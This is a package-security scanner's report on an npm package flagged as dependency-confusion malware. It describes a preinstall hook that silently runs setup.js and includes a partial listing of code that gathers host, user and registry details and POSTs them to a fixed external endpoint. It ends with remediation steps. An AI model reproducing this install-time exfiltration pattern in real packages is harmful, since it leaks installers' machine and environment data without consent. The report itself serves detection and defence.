registry / Data exfiltration / alexa-cybertron-team-code-review-agent
alexa-cybertron-team-code-review-agent
Capitalize first letter of each word
This report shows the evidence for alexa-cybertron-team-code-review-agent@100.0.0, the only known version.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
AI Security Review
scanned 23d ago · by lpm-firewall-aiThe source proves automatic, unconsented export of local identifying information to an unrelated external recipient. This concrete install-time data exfiltration warrants blocking.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm installation activates the preinstall hook.
Impact
Exposes the installing user's identity, hostname, project location and environment details to the endpoint operator.
Mechanism
setup.js collects local environment metadata, serializes it and sends it through an HTTPS POST without a consent gate.
Attack narrative
Installing the package automatically executes setup.js. The script gathers identifying machine and project metadata and transmits it to a fixed AWS API Gateway endpoint. Both the lifecycle command and request handlers suppress failures, allowing installation to continue quietly. The export has no functional connection to the runtime text-capitalization utility.
AI rationale
The source proves automatic, unconsented export of local identifying information to an unrelated external recipient. This concrete install-time data exfiltration warrants blocking.
Evidence
package.jsonsetup.js
Network endpoints1
s85r5k14qk.execute-api.us-east-1.amazonaws.com/prod/hook
Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json automatically runs setup.js during preinstall and suppresses failure.
- setup.js collects hostname, username, working directory, platform, architecture, Node version and registry configuration.
- setup.js sends the collected data by HTTPS POST to an unrelated fixed endpoint.
- setup.js writes the payload and silently handles request errors; no consent gate exists.
Evidence against
- The runtime entrypoint only implements text capitalization.
- No credential theft, destructive writes or persistence was found.
Behavioral surface
EnvironmentVarsNetwork
HighEntropyStrings
Source & flagged code
7 flagged · loading sourcepackage.jsonView file
•scripts.preinstall = node setup.js || true
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg•scripts.preinstall = node setup.js || true
Medium
Ambiguous Install Lifecycle Script
Install-time lifecycle script is not statically allowlisted and needs review.
package.jsonView on unpkgsetup.jsView file
1const https = require('https');
L2: const os = require('os');
L3: const pkg = require('./package.json');
L4: const d = JSON.stringify({
L5: p: pkg.name, v: pkg.version,
L6: h: os.hostname(), u: os.userInfo().username,
L7: c: process.cwd(), o: os.platform(), a: os.arch(),
L8: n: process.version,
L9: r: process.env.npm[redacted] || '',
L10: t: '[redacted]'
...
L19: q.on('timeout', () => q.destroy());
L20: q.write(d);
Critical
Findings
2 Critical4 High4 Medium2 Low
CriticalCredential Exfiltrationsetup.js
CriticalTrigger Reachable Dangerous Capabilitysetup.js
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationsetup.js
HighSandbox Evasion Gated Capabilitysetup.js
HighTrigger Reachable Credential Exfiltrationsetup.js
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowScripts Present
LowHigh Entropy Strings
Affected versions and remediation
This report applies to alexa-cybertron-team-code-review-agent@100.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing alexa-cybertron-team-code-review-agent@100.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
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